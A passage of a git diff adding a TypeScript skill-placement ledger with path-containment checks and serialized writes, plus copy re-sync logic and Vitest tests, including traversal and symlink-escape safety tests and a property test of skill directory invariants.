- * an update writes, plus its version. Returns `null` when the name isn't a pack
- * or the pack ships no skill source. Content is written verbatim (preserving the
- * bundled `version` + all frontmatter), so the update never recomposes.
- */
-export function readBundledPackSkill(
- name: string,
-): { content: string; version: string | undefined } | null {
- const dir = bundledPackSkillDir(name);
- if (dir === null) return null;
- let content: string;
- try {
- content = readFileSync(join(dir, 'SKILL.md'), 'utf-8');
- } catch {
- return null;
- }
- return { content, version: readSkillVersion(content) };
-}
-
-/**
- * Pure verdict (no disk): is `bundledVersion` newer than the installed copy? A
- * missing/unparseable installed `version` is treated as v0 (a versionless copy
- * is pre-versioning legacy → surface the update, never silently overwrite).
- * Strictly-greater only — never offer a "downgrade".
- */
-export function packUpdateAvailable(
- installedVersion: string | undefined,
- bundledVersion: string,
-): boolean {
- return installedVersion === undefined
- ? true
- : compareSemver(bundledVersion, installedVersion) > 0;
-}
-
-/**
- * Staleness verdict for one installed skill. Returns the bundled version and an
- * `updateAvailable` flag, or an empty object for non-pack skills / packs with no
- * bundled version (so the schema fields stay absent and only packs get badged).
- * The verdict drives a *suggestion* only; it is never trusted for a silent write.
- */
-export function computePackUpdateStatus(
- name: string,
- installedVersion: string | undefined,
-): { bundledVersion?: string; updateAvailable?: boolean } {
- const bundledVersion = bundledPackVersion(name);
- if (bundledVersion === undefined) return {};
- return { bundledVersion, updateAvailable: packUpdateAvailable(installedVersion, bundledVersion) };
-}
diff --git a/packages/server/src/skill-placements-store.ts b/packages/server/src/skill-placements-store.ts
new file mode 100644
index 000000000..17f26dbf5
--- /dev/null
+++ b/packages/server/src/skill-placements-store.ts
@@ -0,0 +1,233 @@
+/**
+ * Persistence boundary for the machine-local skill placement ledger.
+ *
+ * Both in-place discovery and copy reconciliation consume this module so the
+ * JSON shape, fail-soft parsing, and path containment rules have one owner.
+ * It deliberately does not import either consumer.
+ */
+
+import { existsSync, readFileSync, realpathSync } from 'node:fs';
+import { dirname, isAbsolute, join, resolve, sep } from 'node:path';
+import { atomicWriteFile } from '@inkeep/open-knowledge-core/server';
+import { tracedMkdir } from './fs-traced.ts';
+import { TRACED_FS_ADAPTER } from './installed-skills-marker.ts';
+import { createKeyedSerializer } from './keyed-serializer.ts';
+import { getLogger } from './logger.ts';
+
+const PLACEMENTS_REL = ['.ok', 'local', 'skill-placements.json'] as const;
+const SCHEMA_VERSION = 1;
+
+export interface SkillPlacement {
+ /** Base-relative bundle dir, e.g. `.windsurf/skills/my-skill`. */
+ path: string;
+ mode: 'copy' | 'link';
+ /** Bundle hash at record time. Absent placements are never auto-refreshed. */
+ hash?: string;
+}
+
+export type FolderExpectation = { expect: 'link'; target: string } | { expect: 'own' };
+
+export interface SkillPlacementsStore {
+ schema: number;
+ skills: Record<string, SkillPlacement[]>;
+ preferences?: Record<string, 'copy' | 'link'>;
+ sources?: Record<string, string>;
+ roots?: string[];
+ folders?: Record<string, FolderExpectation>;
+}
+
+function skillPlacementsPath(base: string): string {
+ return join(base, ...PLACEMENTS_REL);
+}
+
+/**
+ * Resolve a ledger path only when both its lexical path and deepest existing
+ * ancestor stay inside the placement base.
+ */
+export function resolveSkillPlacementPath(base: string, relPath: string): string | null {
+ if (
+ relPath.length === 0 ||
+ relPath.includes('\0') ||
+ isAbsolute(relPath) ||
+ relPath.split(/[/\\]/).some((segment) => segment === '..')
+ ) {
+ return null;
+ }
+ const baseAbs = resolve(base);
+ const candidate = resolve(baseAbs, relPath);
+ if (candidate === baseAbs || !candidate.startsWith(`${baseAbs}${sep}`)) return null;
+
+ let baseReal: string;
+ try {
+ baseReal = realpathSync(baseAbs);
+ } catch {
+ return null;
+ }
+ let ancestor = candidate;
+ while (!existsSync(ancestor)) {
+ const parent = dirname(ancestor);
+ if (parent === ancestor) return null;
+ ancestor = parent;
+ }
+ try {
+ const ancestorReal = realpathSync(ancestor);
+ if (ancestorReal !== baseReal && !ancestorReal.startsWith(`${baseReal}${sep}`)) return null;
+ } catch {
+ return null;
+ }
+ return candidate;
+}
+
+function emptyStore(): SkillPlacementsStore {
+ return { schema: SCHEMA_VERSION, skills: {} };
+}
+
+function isPlacement(base: string, value: unknown): value is SkillPlacement {
+ if (!value || typeof value !== 'object') return false;
+ const placement = value as Partial<SkillPlacement>;
+ return (
+ typeof placement.path === 'string' &&
+ resolveSkillPlacementPath(base, placement.path) !== null &&
+ (placement.mode === 'copy' || placement.mode === 'link') &&
+ (placement.hash === undefined || typeof placement.hash === 'string')
+ );
+}
+
+function parsePreferences(value: unknown): Record<string, 'copy' | 'link'> | undefined {
+ if (!value || typeof value !== 'object') return undefined;
+ const entries = Object.entries(value).filter(
+ (entry): entry is [string, 'copy' | 'link'] => entry[1] === 'copy' || entry[1] === 'link',
+ );
+ return entries.length > 0 ? Object.fromEntries(entries) : undefined;
+}
+
+function parseSources(value: unknown): Record<string, string> | undefined {
+ if (!value || typeof value !== 'object') return undefined;
+ const entries = Object.entries(value).filter(
+ (entry): entry is [string, string] => typeof entry[1] === 'string' && entry[1] !== '',
+ );
+ return entries.length > 0 ? Object.fromEntries(entries) : undefined;
+}
+
+function parseFolders(base: string, value: unknown): Record<string, FolderExpectation> | undefined {
+ if (!value || typeof value !== 'object') return undefined;
+ const entries: Array<[string, FolderExpectation]> = [];
+ for (const [root, expectation] of Object.entries(value)) {
+ if (
+ resolveSkillPlacementPath(base, root) === null ||
+ !expectation ||
+ typeof expectation !== 'object'
+ ) {
+ continue;
+ }
+ const candidate = expectation as Partial<FolderExpectation> & { target?: unknown };
+ if (candidate.expect === 'own') {
+ entries.push([root, { expect: 'own' }]);
+ } else if (
+ candidate.expect === 'link' &&
+ typeof candidate.target === 'string' &&
+ resolveSkillPlacementPath(base, candidate.target) !== null
+ ) {
+ entries.push([root, { expect: 'link', target: candidate.target }]);
+ }
+ }
+ return entries.length > 0 ? Object.fromEntries(entries) : undefined;
+}
+
+/** Read, shape-validate, and containment-filter the ledger. */
+export function readSkillPlacementsStore(base: string): SkillPlacementsStore {
+ const path = skillPlacementsPath(base);
+ if (!existsSync(path)) return emptyStore();
+ try {
+ const parsed = JSON.parse(readFileSync(path, 'utf-8')) as Record<string, unknown> | null;
+ if (!parsed || typeof parsed !== 'object') return emptyStore();
+
+ const skills: Record<string, SkillPlacement[]> = {};
+ if (parsed.skills && typeof parsed.skills === 'object') {
+ for (const [name, list] of Object.entries(parsed.skills)) {
+ if (!Array.isArray(list)) continue;
+ const valid = list.filter((placement) => isPlacement(base, placement));
+ if (valid.length > 0) skills[name] = valid;
+ }
+ }
+ const roots = Array.isArray(parsed.roots)
+ ? parsed.roots.filter(
+ (root): root is string =>
+ typeof root === 'string' && resolveSkillPlacementPath(base, root) !== null,
+ )
+ : [];
+ const preferences = parsePreferences(parsed.preferences);
+ const sources = parseSources(parsed.sources);
+ const folders = parseFolders(base, parsed.folders);
+ return {
+ schema: SCHEMA_VERSION,
+ skills,
+ ...(preferences ? { preferences } : {}),
+ ...(sources ? { sources } : {}),
+ ...(roots.length > 0 ? { roots } : {}),
+ ...(folders ? { folders } : {}),
+ };
+ } catch (err) {
+ // Present but unparseable. Continuing with an empty ledger is the deliberate
+ // fail-soft, but it silently forgets every recorded placement at once — the
+ // operator gets no other signal, and the next write persists the empty
+ // ledger over the corrupt one. Matches `readSkillsLockFile`'s handling.
+ getLogger('skill-placements').warn(
+ { err, path },
+ 'skill-placements.json is unreadable; continuing with an empty ledger (recorded placements for this project are lost)',
+ );
+ return emptyStore();
+ }
+}
+
+/**
+ * Serialized read-modify-write of the placements ledger.
+ *
+ * The whole ledger is one JSON file, so a mutation is read-all → edit → write-all
+ * with an await in the middle. Callers routinely fire several at once — converting
+ * every location of a skill sends one request per location — and unserialized they
+ * all read the same starting file and then overwrite each other, so only the last
+ * writer's edit survives. The folder work still succeeds (separate paths, nothing
+ * contends), which makes the loss silent: the ledger then disagrees with the disk
+ * and every clobbered location reports itself as "changed outside".
+ *
+ * Mutations chain per ledger path. A failed mutation does not poison the chain,
+ * but it is still raised to its own caller.
+ */
+const serializeLedgerWrite = createKeyedSerializer();
+
+export function mutateSkillPlacementsStore(
+ base: string,
+ mutate: (store: SkillPlacementsStore) => void,
+): Promise<void> {
+ return serializeLedgerWrite(skillPlacementsPath(base), async () => {
+ const store = readSkillPlacementsStore(base);
+ mutate(store);
+ await writeSkillPlacementsStore(base, store);
+ });
+}
+
+async function writeSkillPlacementsStore(base: string, store: SkillPlacementsStore): Promise<void> {
+ const path = skillPlacementsPath(base);
+ await tracedMkdir(dirname(path), { recursive: true });
+ await atomicWriteFile(path, `${JSON.stringify(store, null, 2)}\n`, {
+ fs: TRACED_FS_ADAPTER,
+ });
+}
+
+/** Safe custom roots declared directly or derived from recorded placements. */
+export function readKnownSkillPlacementRoots(base: string): string[] {
+ const store = readSkillPlacementsStore(base);
+ const roots = new Set(store.roots ?? []);
+ for (const list of Object.values(store.skills)) {
+ for (const placement of list) {
+ const root = placement.path.split('/').slice(0, -1).join('/');
+ if (root !== '' && resolveSkillPlacementPath(base, root) !== null) roots.add(root);
+ }
+ }
+ return [...roots].sort();
+}
+
+export function readSkillSourceHostPreferences(base: string): Record<string, string> {
+ return readSkillPlacementsStore(base).sources ?? {};
+}
diff --git a/packages/server/src/skill-placements.test.ts b/packages/server/src/skill-placements.test.ts
new file mode 100644
index 000000000..542a425d5
--- /dev/null
+++ b/packages/server/src/skill-placements.test.ts
@@ -0,0 +1,141 @@
+import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, relative } from 'node:path';
+import { parseSkillDir } from '@inkeep/open-knowledge-core/skills-catalog';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import type { InPlaceSkill } from './in-place-skills.ts';
+import {
+ readSkillPlacements,
+ recordSkillPlacement,
+ resyncRecordedSkillCopies,
+} from './skill-placements.ts';
+import {
+ readKnownSkillPlacementRoots,
+ readSkillPlacementsStore,
+ readSkillSourceHostPreferences,
+} from './skill-placements-store.ts';
+
+let root: string;
+let projectDir: string;
+let outsideDir: string;
+
+function writeSkill(dir: string, body: string): string {
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), `---\nname: guarded\ndescription: d\n---\n\n${body}\n`);
+ return parseSkillDir(dir)?.contentHash as string;
+}
+
+function canonicalSkill(hash: string): InPlaceSkill {
+ return {
+ name: 'guarded',
+ description: 'd',
+ dir: '.claude/skills/guarded',
+ hosts: ['claude'],
+ linkedHosts: [],
+ conflictHosts: [],
+ copyDirs: [],
+ contentHash: hash,
+ };
+}
+
+function writeLedger(path: string, hash: string): void {
+ mkdirSync(join(projectDir, '.ok', 'local'), { recursive: true });
+ writeFileSync(
+ join(projectDir, '.ok', 'local', 'skill-placements.json'),
+ JSON.stringify({
+ schema: 1,
+ skills: { guarded: [{ path, mode: 'copy', hash }] },
+ }),
+ );
+}
+
+beforeEach(() => {
+ root = mkdtempSync(join(tmpdir(), 'ok-placement-safety-'));
+ projectDir = join(root, 'project');
+ outsideDir = join(root, 'outside');
+ mkdirSync(projectDir);
+ mkdirSync(outsideDir);
+});
+
+afterEach(() => {
+ rmSync(root, { recursive: true, force: true });
+});
+
+describe('placement ledger path safety', () => {
+ test('one parser feeds safe placements, roots, and source preferences', () => {
+ mkdirSync(join(projectDir, '.ok', 'local'), { recursive: true });
+ writeFileSync(
+ join(projectDir, '.ok', 'local', 'skill-placements.json'),
+ JSON.stringify({
+ schema: 1,
+ skills: {
+ guarded: [
+ { path: '.tim/skills/guarded', mode: 'copy', hash: 'abc' },
+ { path: '../outside/guarded', mode: 'copy', hash: 'def' },
+ ],
+ },
+ roots: ['.custom/skills', '../outside'],
+ sources: { guarded: 'claude' },
+ }),
+ );
+
+ expect(readSkillPlacementsStore(projectDir).skills.guarded).toEqual([
+ { path: '.tim/skills/guarded', mode: 'copy', hash: 'abc' },
+ ]);
+ expect(readKnownSkillPlacementRoots(projectDir)).toEqual(['.custom/skills', '.tim/skills']);
+ expect(readSkillSourceHostPreferences(projectDir)).toEqual({ guarded: 'claude' });
+ });
+
+ test('a traversal entry cannot refresh or remove a bundle outside the project', async () => {
+ const canonicalHash = writeSkill(join(projectDir, '.claude/skills/guarded'), '# New');
+ const outsideSkill = join(outsideDir, 'guarded');
+ const outsideHash = writeSkill(outsideSkill, '# Outside');
+ writeLedger(relative(projectDir, outsideSkill), outsideHash);
+
+ expect(readSkillPlacements(projectDir)).toEqual({});
+ expect(
+ await resyncRecordedSkillCopies(projectDir, projectDir, [canonicalSkill(canonicalHash)]),
+ ).toBe(0);
+ expect(readFileSync(join(outsideSkill, 'SKILL.md'), 'utf-8')).toContain('# Outside');
+ });
+
+ test('a placement beneath an escaping parent symlink is ignored', async () => {
+ const canonicalHash = writeSkill(join(projectDir, '.claude/skills/guarded'), '# New');
+ const outsideSkill = join(outsideDir, 'guarded');
+ const outsideHash = writeSkill(outsideSkill, '# Outside');
+ symlinkSync(outsideDir, join(projectDir, 'linked'), 'dir');
+ writeLedger('linked/guarded', outsideHash);
+
+ expect(readSkillPlacements(projectDir)).toEqual({});
+ expect(
+ await resyncRecordedSkillCopies(projectDir, projectDir, [canonicalSkill(canonicalHash)]),
+ ).toBe(0);
+ expect(readFileSync(join(outsideSkill, 'SKILL.md'), 'utf-8')).toContain('# Outside');
+ });
+});
+
+describe('concurrent ledger writes', () => {
+ test('every placement recorded in parallel survives', async () => {
+ // The ledger is one JSON file, so each record is read-all → edit → write-all
+ // with an await in between. Converting a skill's locations fires one request
+ // per location at once; unserialized they all read the same starting file and
+ // overwrite each other, leaving the ledger disagreeing with the disk and the
+ // clobbered locations reporting themselves as "changed outside".
+ const paths = [
+ '.claude/skills/parallel',
+ '.cursor/skills/parallel',
+ '.github/skills/parallel',
+ '.opencode/skills/parallel',
+ '.pi/skills/parallel',
+ '.codex/skills/parallel',
+ ];
+ for (const path of paths) writeSkill(join(projectDir, path), 'body');
+
+ await Promise.all(
+ paths.map((path) => recordSkillPlacement(projectDir, 'parallel', { path, mode: 'copy' })),
+ );
+
+ const recorded = (readSkillPlacements(projectDir).parallel ?? []).map((p) => p.path).sort();
+ expect(recorded).toEqual([...paths].sort());
+ });
+});
diff --git a/packages/server/src/skill-placements.ts b/packages/server/src/skill-placements.ts
new file mode 100644
index 000000000..1fed806f0
--- /dev/null
+++ b/packages/server/src/skill-placements.ts
@@ -0,0 +1,194 @@
+/**
+ * Machine-local record of CUSTOM skill placements — copies/symlinks the user
+ * placed at arbitrary project-relative dirs via the install menu's custom-path
+ * action. Lives in `.ok/local/` (per-machine runtime state, gitignored — the
+ * spec's copy-tracking registry split: canonical bindings are derivable, copy
+ * paths are machine-local and never committed).
+ *
+ * Read is pruning: entries whose path no longer exists on disk drop out, so
+ * the disclosure surfaces never list a deleted placement. Fail-soft
+ * throughout — a corrupt file reads as empty.
+ */
+
+import { existsSync } from 'node:fs';
+import { join } from 'node:path';
+import { parseSkillDir } from '@inkeep/open-knowledge-core/skills-catalog';
+import { tracedCpSync, tracedRmSync } from './fs-traced.ts';
+import { type InPlaceSkill, scanInPlaceSkills } from './in-place-skills.ts';
+import {
+ type FolderExpectation,
+ mutateSkillPlacementsStore,
+ readSkillPlacementsStore,
+ resolveSkillPlacementPath,
+ type SkillPlacement,
+} from './skill-placements-store.ts';
+
+export {
+ type FolderExpectation,
+ resolveSkillPlacementPath,
+ type SkillPlacement,
+} from './skill-placements-store.ts';
+
+/** Record the user-chosen SOURCE host for a skill (sticky relocation). */
+export async function recordSkillSourceHost(
+ projectDir: string,
+ name: string,
+ host: string,
+): Promise<void> {
+ await mutateSkillPlacementsStore(projectDir, (file) => {
+ file.sources = { ...file.sources, [name]: host };
+ });
+}
+
+/** Record the expected form of a skills-root FOLDER after a folder verb. */
+export async function recordFolderExpectation(
+ projectDir: string,
+ root: string,
+ expectation: FolderExpectation,
+): Promise<void> {
+ await mutateSkillPlacementsStore(projectDir, (file) => {
+ file.folders = { ...file.folders, [root]: expectation };
+ });
+}
+
+/** All recorded folder expectations for a base (empty map when none). */
+export function readFolderExpectations(projectDir: string): Record<string, FolderExpectation> {
+ return readSkillPlacementsStore(projectDir).folders ?? {};
+}
+
+/** Record a USER-declared known skill root (idempotent). */
+export async function recordKnownSkillRoot(projectDir: string, root: string): Promise<void> {
+ await mutateSkillPlacementsStore(projectDir, (file) => {
+ const roots = new Set(file.roots ?? []);
+ if (roots.has(root)) return;
+ roots.add(root);
+ file.roots = [...roots].sort();
+ });
+}
+
+/**
+ * The raw preference, `undefined` when unset (for default-chaining).
+ *
+ * Read-only now: nothing writes this any more. A skill-wide mode was only ever
+ * settable over MCP, where it applied as a side effect of installing and then
+ * outranked the derived default forever — invisible in the app, which has no
+ * such control and picks a new location's form from the ones the skill already
+ * uses. Ledgers written before that changed still carry the key, so it is still
+ * honored for them rather than silently flipping their behavior.
+ */
+export function readSkillInstallModeRaw(
+ projectDir: string,
+ name: string,
+): 'copy' | 'link' | undefined {
+ const pref = readSkillPlacementsStore(projectDir).preferences?.[name];
+ return pref === 'link' || pref === 'copy' ? pref : undefined;
+}
+
+/** Read + prune: placements whose bundle dir vanished are dropped (not saved). */
+export function readSkillPlacements(projectDir: string): Record<string, SkillPlacement[]> {
+ const out: Record<string, SkillPlacement[]> = {};
+ for (const [name, list] of Object.entries(readSkillPlacementsStore(projectDir).skills)) {
+ const live = list.filter((placement) => {
+ const abs = resolveSkillPlacementPath(projectDir, placement.path);
+ return abs !== null && existsSync(join(abs, 'SKILL.md'));
+ });
+ if (live.length > 0) out[name] = live;
+ }
+ return out;
+}
+
+/** Drop one recorded placement (the ledger half of unplace). */
+export async function removeSkillPlacement(
+ projectDir: string,
+ name: string,
+ path: string,
+): Promise<void> {
+ await mutateSkillPlacementsStore(projectDir, (file) => {
+ const kept = (file.skills[name] ?? []).filter((p) => p.path !== path);
+ file.skills = { ...file.skills };
+ if (kept.length > 0) file.skills[name] = kept;
+ else delete file.skills[name];
+ });
+}
+
+/** Record (or refresh) one placement for a skill. */
+export async function recordSkillPlacement(
+ projectDir: string,
+ name: string,
+ placement: SkillPlacement,
+): Promise<void> {
+ await mutateSkillPlacementsStore(projectDir, (file) => {
+ file.skills = { ...file.skills };
+ const list = (file.skills[name] ?? []).filter((p) => p.path !== placement.path);
+ list.push(placement);
+ file.skills[name] = list;
+ });
+}
+
+/**
+ * Forward re-sync ("copy + re-sync", the LOSSLESS half): refresh
+ * recorded copies from a changed canonical. Strictly hash-gated — a copy is
+ * refreshed ONLY when its current bytes still equal the hash recorded when OK
+ * made it (i.e. nobody hand-edited the copy). A hand-edited copy is left
+ * alone and surfaces as a fork; copy→SOURCE reconcile is a separate,
+ * deliberately-unbuilt design (data-loss class). Returns the refresh count.
+ */
+export async function resyncRecordedSkillCopies(
+ projectDir: string,
+ contentDir: string,
+ /** Scan override (the GLOBAL tier passes `scanGlobalInPlaceSkills(home)`). */
+ skillsOverride?: InPlaceSkill[],
+): Promise<number> {
+ const placements = readSkillPlacements(projectDir);
+ const skills = skillsOverride ?? scanInPlaceSkills(contentDir);
+ // Auto-pair: observing two dirs BYTE-IDENTICAL is proof of a copy
+ // relationship — record it (with the shared hash) so a later canonical edit
+ // can lossless-refresh the unedited side instead of forking it. Idempotent:
+ // recorded paths are skipped.
+ for (const skill of skills) {
+ const recorded = new Set((placements[skill.name] ?? []).map((p) => p.path));
+ for (const dir of skill.copyDirs) {
+ if (recorded.has(dir)) continue;
+ if (resolveSkillPlacementPath(projectDir, dir) === null) continue;
+ const placement: SkillPlacement = { path: dir, mode: 'copy', hash: skill.contentHash };
+ await recordSkillPlacement(projectDir, skill.name, placement);
+ placements[skill.name] = [...(placements[skill.name] ?? []), placement];
+ }
+ }
+ if (Object.keys(placements).length === 0) return 0;
+ let refreshed = 0;
+ for (const skill of skills) {
+ const list = placements[skill.name];
+ if (!list) continue;
+ const canonicalAbs = resolveSkillPlacementPath(contentDir, skill.dir);
+ if (canonicalAbs === null) continue;
+ for (const p of list) {
+ if (p.mode !== 'copy' || p.hash === undefined) continue;
+ let copyAbs = resolveSkillPlacementPath(projectDir, p.path);
+ if (copyAbs === null) continue;
+ if (copyAbs === canonicalAbs) continue;
+ const current = parseSkillDir(copyAbs)?.contentHash;
+ if (current === undefined) continue; // vanished — the pruning read drops it
+ if (current === skill.contentHash) {
+ // Already in sync; keep the record's hash current for the next edit.
+ if (p.hash !== current) {
+ await recordSkillPlacement(projectDir, skill.name, { ...p, hash: current });
+ }
+ continue;
+ }
+ if (current !== p.hash) continue; // hand-edited copy — NEVER clobbered
+ // Revalidate immediately before destructive work. This closes the gap
+ // between reading a persisted ledger and the rm/cp pair below.
+ copyAbs = resolveSkillPlacementPath(projectDir, p.path);
+ if (copyAbs === null) continue;
+ tracedRmSync(copyAbs, { recursive: true, force: true });
+ // Same reason as the projection copy: a canonical that is itself a symlink
+ // (the `source` verb points it elsewhere) must be materialized, or this
+ // refresh replaces a real copy with a pointer to the source.
+ tracedCpSync(canonicalAbs, copyAbs, { recursive: true, dereference: true });
+ await recordSkillPlacement(projectDir, skill.name, { ...p, hash: skill.contentHash });
+ refreshed += 1;
+ }
+ }
+ return refreshed;
+}
diff --git a/packages/server/src/skill-projection-copy.test.ts b/packages/server/src/skill-projection-copy.test.ts
new file mode 100644
index 000000000..e05abb4fd
--- /dev/null
+++ b/packages/server/src/skill-projection-copy.test.ts
@@ -0,0 +1,49 @@
+/**
+ * Slice 4 — projection mode (copy for acquired, symlink for local) + the
+ * contentHash drift detector. Proves:a copy projection is a real dir that
+ * survives the source being removed (the fresh-clone case); a symlink projection
+ * stays a link.
+ */
+
+import { existsSync, lstatSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { projectSkill } from './skill-projection.ts';
+
+let cwd: string;
+
+function makeSource(name: string): string {
+ const dir = join(cwd, '.ok', 'skills', name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), `---\nname: ${name}\ndescription: d\n---\n\nBody.\n`);
+ return dir;
+}
+
+beforeEach(() => {
+ cwd = mkdtempSync(join(tmpdir(), 'ok-projection-'));
+});
+afterEach(() => {
+ rmSync(cwd, { recursive: true, force: true });
+});
+
+describe('projectSkill mode', () => {
+ test('copy writes a real dir that survives source removal', () => {
+ const src = makeSource('acquired');
+ const hosts = projectSkill(src, 'acquired', cwd, ['claude'], 'copy');
+ expect(hosts).toEqual(['claude']);
+ const dest = join(cwd, '.claude', 'skills', 'acquired');
+ expect(lstatSync(dest).isSymbolicLink()).toBe(false);
+ expect(lstatSync(dest).isDirectory()).toBe(true);
+ // Fresh-clone simulation: the .ok/skills source is gone, the copy remains.
+ rmSync(src, { recursive: true, force: true });
+ expect(existsSync(join(dest, 'SKILL.md'))).toBe(true);
+ });
+
+ test('symlink (default) stays a link', () => {
+ const src = makeSource('local');
+ projectSkill(src, 'local', cwd, ['claude']);
+ const dest = join(cwd, '.claude', 'skills', 'local');
+ expect(lstatSync(dest).isSymbolicLink()).toBe(true);
+ });
+});
diff --git a/packages/server/src/skill-projection.property.test.ts b/packages/server/src/skill-projection.property.test.ts
new file mode 100644
index 000000000..43f021dbc
--- /dev/null
+++ b/packages/server/src/skill-projection.property.test.ts
@@ -0,0 +1,204 @@
+import {
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ realpathSync,
+ rmSync,
+ writeFileSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { scanInPlaceSkills } from './in-place-skills.ts';
+import {
+ projectInPlaceSkill,
+ relocateInPlaceCanonical,
+ removeInPlaceSkillCopies,
+} from './skill-projection.ts';
+
+/**
+ * PROPERTY TEST — the permanent tripwire for the skill-occurrence state machine.
+ *
+ * Invariant (the one that died on 2026-07-22, taking four skills' bytes with
+ * it): after ANY sequence of install-menu operations, a skill has EXACTLY ONE
+ * real directory, every symlink occurrence resolves to it, and no link is
+ * dangling or self-referential. Random operation sequences over the three
+ * primitives (fan-out, lossless removal, source relocation) must never break
+ * it. Deterministic seeds — a failure prints the sequence to replay.
+ */
+
+const HOSTS = ['agents', 'claude', 'cursor', 'codex'] as const;
+const ROOT_OF: Record<(typeof HOSTS)[number], string> = {
+ agents: '.agents/skills',
+ claude: '.claude/skills',
+ cursor: '.cursor/skills',
+ codex: '.codex/skills',
+};
+
+/** Tiny deterministic PRNG (mulberry32) so failures are replayable by seed. */
+function rng(seed: number): () => number {
+ let a = seed >>> 0;
+ return () => {
+ a |= 0;
+ a = (a + 0x6d2b79f5) | 0;
+ let t = Math.imul(a ^ (a >>> 15), 1 | a);
+ t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
+ return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
+ };
+}
+
+let base: string;
+beforeEach(() => {
+ base = mkdtempSync(join(tmpdir(), 'ok-prop-'));
+});
+afterEach(() => {
+ rmSync(base, { recursive: true, force: true });
+});
+
+function seedSkill(name: string): void {
+ const dir = join(base, '.claude/skills', name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), `---\nname: ${name}\ndescription: Use for prop.\n---\n# P`);
+}
+
+/** The invariant: NEVER zero real dirs; all real dirs byte-identical; every
+ * link resolves to a real dir (no dangles, no loops); the scan still finds
+ * the skill. Multiple real dirs are legal — that is what copy mode means. */
+function assertInvariant(name: string, context: string): void {
+ const realDirs: string[] = [];
+ const links: string[] = [];
+ for (const h of HOSTS) {
+ const p = join(base, ROOT_OF[h], name);
+ let st: ReturnType<typeof lstatSync>;
+ try {
+ st = lstatSync(p);
+ } catch {
+ continue;
+ }
+ if (st.isSymbolicLink()) links.push(p);
+ else if (st.isDirectory()) realDirs.push(p);
+ }
+ expect(
+ realDirs.length,
+ `${context}: at least one real dir must survive (links=${links.length})`,
+ ).toBeGreaterThanOrEqual(1);
+ const reals = realDirs.map((d) => realpathSync(d));
+ const bytes = new Set(reals.map((d) => readFileSync(join(d, 'SKILL.md'), 'utf-8')));
+ expect(bytes.size, `${context}: all real dirs byte-identical`).toBe(1);
+ for (const l of links) {
+ let target: string;
+ try {
+ target = realpathSync(l);
+ } catch {
+ throw new Error(`${context}: dangling link ${l}`);
+ }
+ expect(reals.includes(target), `${context}: link ${l} resolves to a real dir`).toBe(true);
+ }
+ expect(
+ scanInPlaceSkills(base).some((sk) => sk.name === name),
+ `${context}: scan still finds the skill`,
+ ).toBe(true);
+}
+
+function canonicalOf(name: string): { abs: string; hash: string; rootRel: string } {
+ const scanned = scanInPlaceSkills(base).find((s) => s.name === name);
+ if (!scanned) throw new Error(`skill ${name} vanished from the scan`);
+ const abs = join(base, scanned.dir);
+ return {
+ abs,
+ hash: scanned.contentHash,
+ rootRel: scanned.dir.split('/').slice(0, -1).join('/'),
+ };
+}
+
+describe('skill occurrence state machine (property)', () => {
+ test('random op sequences keep exactly one real dir and no broken links', () => {
+ for (let seed = 1; seed <= 30; seed++) {
+ const rand = rng(seed);
+ const name = `prop-${seed}`;
+ seedSkill(name);
+ const trace: string[] = [];
+ for (let step = 0; step < 12; step++) {
+ const c = canonicalOf(name);
+ const host = HOSTS[Math.floor(rand() * HOSTS.length)] as (typeof HOSTS)[number];
+ const op = Math.floor(rand() * 4);
+ if (op === 0) {
+ trace.push(`fanout-copy:${host}`);
+ projectInPlaceSkill({
+ canonicalAbs: c.abs,
+ canonicalHash: c.hash,
+ canonicalRootRel: c.rootRel,
+ name,
+ cwd: base,
+ targets: [host],
+ mode: 'copy',
+ convertLinks: true,
+ });
+ } else if (op === 1) {
+ trace.push(`fanout-link:${host}`);
+ projectInPlaceSkill({
+ canonicalAbs: c.abs,
+ canonicalHash: c.hash,
+ canonicalRootRel: c.rootRel,
+ name,
+ cwd: base,
+ targets: [host],
+ mode: 'link',
+ });
+ } else if (op === 2) {
+ trace.push(`remove:${host}`);
+ removeInPlaceSkillCopies({
+ canonicalAbs: c.abs,
+ canonicalHash: c.hash,
+ name,
+ cwd: base,
+ targets: [host],
+ });
+ } else {
+ trace.push(`promote:${host}`);
+ relocateInPlaceCanonical({
+ canonicalAbs: c.abs,
+ canonicalHash: c.hash,
+ name,
+ cwd: base,
+ newTarget: host,
+ leaveLinkBehind: rand() < 0.5,
+ });
+ }
+ assertInvariant(name, `seed=${seed} step=${step} trace=[${trace.join(' ')}]`);
+ }
+ }
+ });
+
+ test('relocate refuses to operate when handed a symlink path (mis-election guard)', () => {
+ const name = 'guardrail';
+ seedSkill(name);
+ const c = canonicalOf(name);
+ // Create a link occurrence, then hand the MOVER the link path as if the
+ // election had (wrongly) chosen it — the primitive must resolve to the
+ // real dir instead of renaming the link file (the analyze-nuke class).
+ projectInPlaceSkill({
+ canonicalAbs: c.abs,
+ canonicalHash: c.hash,
+ canonicalRootRel: c.rootRel,
+ name,
+ cwd: base,
+ targets: ['codex'],
+ mode: 'link',
+ });
+ const linkPath = join(base, '.codex/skills', name);
+ const moved = relocateInPlaceCanonical({
+ canonicalAbs: linkPath, // the lie
+ canonicalHash: c.hash,
+ name,
+ cwd: base,
+ newTarget: 'agents',
+ leaveLinkBehind: true,
+ });
+ expect(moved.ok).toBe(true);
+ assertInvariant(name, 'after relocate-with-link-path');
+ // The real bytes moved; nothing self-links.
+ expect(lstatSync(join(base, '.agents/skills', name)).isSymbolicLink()).toBe(false);
+ });
+});
diff --git a/packages/server/src/skill-projection.test.ts b/packages/server/src/skill-projection.test.ts
index 2e0bc26da..c8db506e0 100644
